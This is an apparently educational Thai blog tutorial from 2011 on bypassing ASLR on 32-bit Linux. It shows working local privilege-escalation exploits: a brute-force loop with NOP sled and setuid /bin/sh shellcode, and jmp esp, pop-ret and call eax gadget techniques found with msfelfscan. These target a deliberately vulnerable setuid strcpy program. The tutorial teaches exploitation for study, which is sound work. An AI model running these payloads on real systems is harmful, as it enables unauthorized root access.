Wednesday, October 19, 2011

Defeating ASLR

ในหัวข้อนี้ ผมจะพูดถึงเรื่อง ASLR (Address Space Layout Randomization) ซึ่งเป็น kernel feature ที่ช่วย mitigrate ปัญหาเรื่อง buffer overflow โดยเมื่อ enable feature นี้ (default บน Linux ปัจจุบัน) จะทำให้ address ของ executable file (ถ้า compile ด้วย PIE option), shared objects, stack, heap (เมื่อค่า randomize_va_space เป็น 2) ถูก random เมื่อโปรแกรมเริ่มการทำงาน เรามาดูของจริงกันเลยดีกว่า

$ sudo su -c "echo 1 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
00675000-007c8000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
...
00908000-00909000 r-xp 00000000 00:00 0          [vdso]
00cd9000-00cf4000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00cf4000-00cf5000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00cf5000-00cf6000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]
b75d3000-b7612000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7742000-b7744000 rw-p 00000000 00:00 0
bfd7a000-bfd8f000 rw-p 00000000 00:00 0          [stack]
$ cat /proc/self/maps
001dd000-00330000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00330000-00331000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00331000-00333000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00333000-00334000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00334000-00337000 rw-p 00000000 00:00 0
0094b000-00966000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00966000-00967000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00967000-00968000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
009da000-009db000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat     # ค่าเดิม
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]       # ค่าเดิม
b7628000-b7667000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7797000-b7799000 rw-p 00000000 00:00 0
bfaa3000-bfab8000 rw-p 00000000 00:00 0          [stack]

จะเห็นว่า address เริ่มต้นของ shared objects และ stack นั้นเปลี่ยนไปทุกครั้ง และเมื่อเราเปลี่ยนค่า randomize_va_space เป็น 2 โดยครั้งนี้จะเห็นว่า heap address

$ sudo su -c "echo 2 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
006be000-006d9000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
006d9000-006da000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
006da000-006db000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
008ea000-00a3d000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3d000-00a3e000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3e000-00a40000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a40000-00a41000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a41000-00a44000 rw-p 00000000 00:00 0
00bcd000-00bce000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
09993000-099b4000 rw-p 00000000 00:00 0          [heap]      # เปลี่ยนแล้ว
b76e6000-b7725000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7855000-b7857000 rw-p 00000000 00:00 0
bfac9000-bfade000 rw-p 00000000 00:00 0          [stack]

ผลของ ASLR นั้น ทำให้เราไม่สามารถที่จะระบุ memory address ของ shellcode เราได้ รวมถึงเทคนิค ret2libc เพราะ libc ก็ถูกโหลดเข้า memory ใน address ที่เปลี่ยนไปเรื่อยๆ สำหรับวิธี defeat ASLR นั้นจะมีอยู่ 3 แบบหลักๆ คือ

1. Bruteforce

วิธีนี้ส่วนมากจะใช้ได้เฉพาะกับ 32-bit architecture เนื่องด้วยใน 32-bit architecture จำนวน bit ของ address ที่จะ random นั้นอย่างมากก็แค่ 24 bit แต่ implementation ส่วนมากนั้นจะ random เพียงแค่ 12-16 bit ซึ่งเป็นจำนวนที่น้อยมาก รวมทั้งการที่เราสามารถใช้ NOP sled ใหญ่ๆ ทำให้เมื่อเราเขียนทับ saved eip ด้วยค่า address หนึ่งนั้น มีโอกาสที่จะถูกสูงขึ้นมาก

เงื่อนไขอีกเงื่อนไขสำหรับวิธีนี้ คือเราต้องสามารถลองได้หลายๆ ครั้ง เช่น local exploit ที่เราสามารถเรียก execute กี่ครั้งก็ได้ เรามาดูตัวอย่างกันเลยดีกว่า โดยผมจะเอาตัวอย่างจาก "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" ซึ่งเรามี exploit อยู่แล้ว

สำหรับวิธี bruteforce ก็คือเขียนทับ saved eip ค่าเดิมไป แล้วสั่ง execute โปรแกรมไปเรื่อยๆ จนกว่า OS จะ random address ที่ทำให้ exploit เราทำงาน ดังนั้น exploit ที่เราเคยทำไปแล้วสามารถนำมาใช้ได้เลย โดยผมจะเพิ่ม NOP sled เป็น 8192 bytes เพื่อเพิ่มโอกาสถูกให้มีมากขึ้น ซึ่งเราจะได้ shell เร็วหรือช้า ก็ขึ้นอยู่ว่า OS สุ่ม address ออกมาอย่างไร

$ while [ 1 ]; do ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x8192 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`; done
Segmentation fault
Segmentation fault
Segmentation fault
...
Segmentation fault
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit
Segmentation fault
...
Segmentation fault
^C

2. Use non-randomization address

วิธีนี้คือการใช้ code ในส่วนที่ address ไม่มีการ random เพื่อกระโดดไปที่ shellcode ของเรา ซึ่งโดยปกติ compile option จะไม่มีการ enable PIE ทำให้ส่วน executable binary จะถูกโหลดไปที่ตำแหน่งเดิมของ memory เสมอ

จริงๆ แล้ววิธีนี้ไม่มีวิธีตายตัว คือทำยังไงก็ได้ ให้โปรแกรมกระโดดไปที่ shellcode ของเรา (หลังๆ จะเจอแบบนี้เรื่อยๆ นะครับ) โดยผมจะเอามาให้ดู 3 แบบที่ใช้กันบ่อยๆ เรามาดู code ตัวอย่างสำหรับวิธีนี้กันเลยดีกว่า (ex_14_1.c)

/*
gcc -fno-stack-protector -z norelro -z execstack -o ex_14_1 ex_14_1.c
sudo su -c "chown root: ex_14_1;chmod 4755 ex_14_1"
*/
#include <string.h>

void jmpesp()
{
 __asm__ ("jmp *%esp");
}

void vuln(int unused, const char *src)
{
 char buffer[64];
 strcpy(buffer, src);
}

int main(int argc, char **argv)
{
 vuln(0, argv[1]);
 return 0;
}

มาถึงหัวข้อนี้แล้ว ผมขอข้ามการอธิบายเรื่องช่องโหว่ของโปรแกรม โดยจากโปรแกรมนี้ เราต้องเขียนข้อมูลไปก่อน 76 ตัวแล้วเราจึงค่อยเขียนทับ saved eip ดังนั้น exploit ข้างล่างคือทำให้ eip กระโดดไปทำงานที่ 0x55555555

$ ./ex_14_1 `perl -e 'print "A"x76,"UUUU"'`

ใช้ jmp esp

เนื่องด้วยหลังคำสั่ง ret โปรแกรมจะ pop ค่า saved eip จาก stack ทำให้ stack pointer (esp) ชี้ไป address ถัดไปจากที่เก็บ saved eip ดังนั้นถ้าเราเขียนทับ saved eip เพื่อให้กระโดดไปทำงานที่คำสั่ง jmp *%esp โปรแกรมก็จะกระโดดไปที่ address หลังที่เก็บ saved eip ซึ่งถ้าเราวาง shellcode ของเราไว้หลัง saved eip ที่เราเขียนทับ โปรแกรมก็จะทำงาน shellcode ของเรา

ส่วนวิธีการหา jmp *%esp ใน binary นั้นอาจใช้ objdump ก็ได้ แต่คราวนี้ผมจะใช้ msfelfscan เพื่อหา address

$ msfelfscan -j esp ex_14_1
[ex_14_1]
0x080483c7 jmp esp

เมื่อได้ address มาแล้ว exploit ของเราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "A"x76,"\xc7\x83\x04\x08","\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
#

ใช้ pop* ret

แนวคิดของวิธีนี้คือ ใช้ค่า address ของ shellcode ที่เก็บไว้ใน stack หลัง saved eip ไม่ไกลมาก ซึ่งส่วนมากเราจะใช้วิธีนี้ได้เมื่อมีการส่ง pointer ที่ชี้ไปยัง shellcode เป็น argument ของ function ที่มีช่องโหว่ หรือ function ที่เรียก function ที่มีปัญหามีการใช้ pointer ที่ชี้ไปยัง shellcode ดังนั้นเมื่อเรา pop ข้อมูลออกจาก stack จน stack pointer (esp) นั้นชี้ไปที่เก็บ address ของ shellcode แล้วสั่ง ret โปรแกรมก็จะกระโดดไปที่ shellcode ของเรา

ที่ผมใช้ pop* นั้นหมายถึง อาจจะไม่จำเป็นต้อง pop ก็ได้ หรืออาจจะต้องใช้ pop หลายๆ ครั้ง โดยในตัวอย่างข้างบนนั้น จะเห็นว่า pointer ที่ชี้ไปยัง shellcode ของเรานั้นเป็น argument ที่ 1 ของ vuln() ดังนั้นเราต้องใช้ pop 1 ครั้ง แล้วตามด้วยคำสั่ง ret และผมจะใช้ msfelfscan ในการหาอีกครั้ง

$ msfelfscan -p ex_14_1
[ex_14_1]
0x08048392 pop ebx; pop ebp; ret
0x08048477 pop edi; pop ebp; ret
0x080484a7 pop ebx; pop ebp; ret

จะเห็นว่า msfelfscan นั้นมีแต่ option ให้หา pop+pop+ret ซึ่งเป็นวิธีหลักสำหรับการเขียน exploit บน Windows แบบ SEH based เพราะว่า address ที่โปรแกรมจะกลับไปทำงานหลังทำงานใน Exception Handler นั้นเป็น argument ที่ 3 ของ Exception Handler function ดังนั้นเวลาที่ใช้ option นี้กับตัวอย่างของเรา เราต้องบวก address ไปอีก 1 ดังนั้น address ที่เราจะใช้คือ 0x08048393 และ exploit เราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\x93\x83\x04\x08"'`
#

ใช้ jmp eax

แนวคิดของวิธีนี้ก็คือ เวลา function จะ return ค่านั้นจะทำการ set eax เป็นค่าที่จะ return ดังนั้นถ้า eax เป็น address ของ shellcode เราจะสามารถใช้วิธีนี้ได้ ในตัวอย่างข้างบนนั้น จะเห็นว่า vuln() นั้นไม่มีการ return ค่า แต่ strcpy() นั้นจะ return address ของ dst ทำให้ eax ชี้ไปที่ address ของ buffer และจบ function โดยไม่มีการเปลี่ยนค่า eax

เมื่อเข้าใจกันแล้ว ก็มาหา address ของ jmp eax

$ msfelfscan -j eax ex_14_1
[ex_14_1]
0x080483bf call eax
0x0804849b call eax

จะเห็นว่า msfelfscan นั้นเจอเป็น call eax ซึ่งจริงๆ ผลลัพธ์นั้นเหมือนกัน คือโปรแกรมกระโดดไปที่ eax ชี้อยู่ และจริงๆ แล้วไม่จำเป็นต้องเป็น eax จะเป็น register ไหนก็ได้ ของเพียงแค่ว่าเราหา jmp ไปหา register นั้นใน executable ได้หรือเปล่า แต่ที่ผมใช้เป็น eax ให้หัวข้อ เพราะมันมีอยู่ในทุกๆ executable

ได้ address มาแล้ว exploit ก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\xbf\x83\x04\x08"'`
#

ได้เห็นทั้ง 3 แบบไปแล้ว สิ่งที่ผมอยากจะให้สังเกตอีกอย่างคือ วิธีนี้ยังทำให้ exploit ที่เราเขียนนั้นมีทำงานเสมอไม่ว่าเราจะเอา binary นี้ไปรันบน Linux distribution ไหน exploit เราก็จะทำงานได้เสมอ

3. Information leak

วิธีนี้คือใช้ช่องโหว่อีกช่องโหว่ของโปรแกรม (บางครั้งเป็นช่องโหว่เดียวกัน) เพื่อที่จะให้โปรแกรมแสดงข้อมูลภายในที่โปรแกรมไม่ตั้งใจให้แสดงเช่น memory address

ช่องโหว่สำหรับ information leak ที่เคยเจอกันแล้วคือ format string bug ส่วนแบบอื่นที่พบบ่อยๆ คือเราสามารทำให้โปรแกรมแสดงข้อมูลที่ไม่ได้ initialize แต่ส่วนมากการเขียน exploit ที่ต้องใช้ช่องโหว่ information leak ช่วยนั้นจะค่อนข้างซับซ้อน ผมจึงขอแสดงตัวอย่างไว้ทีหลัง


Reference:
- Address space layout randomization - Wikipedia, the free encyclopedia
- Linux kernel ASLR Implementation
- ASLR Smack & Laugh Reference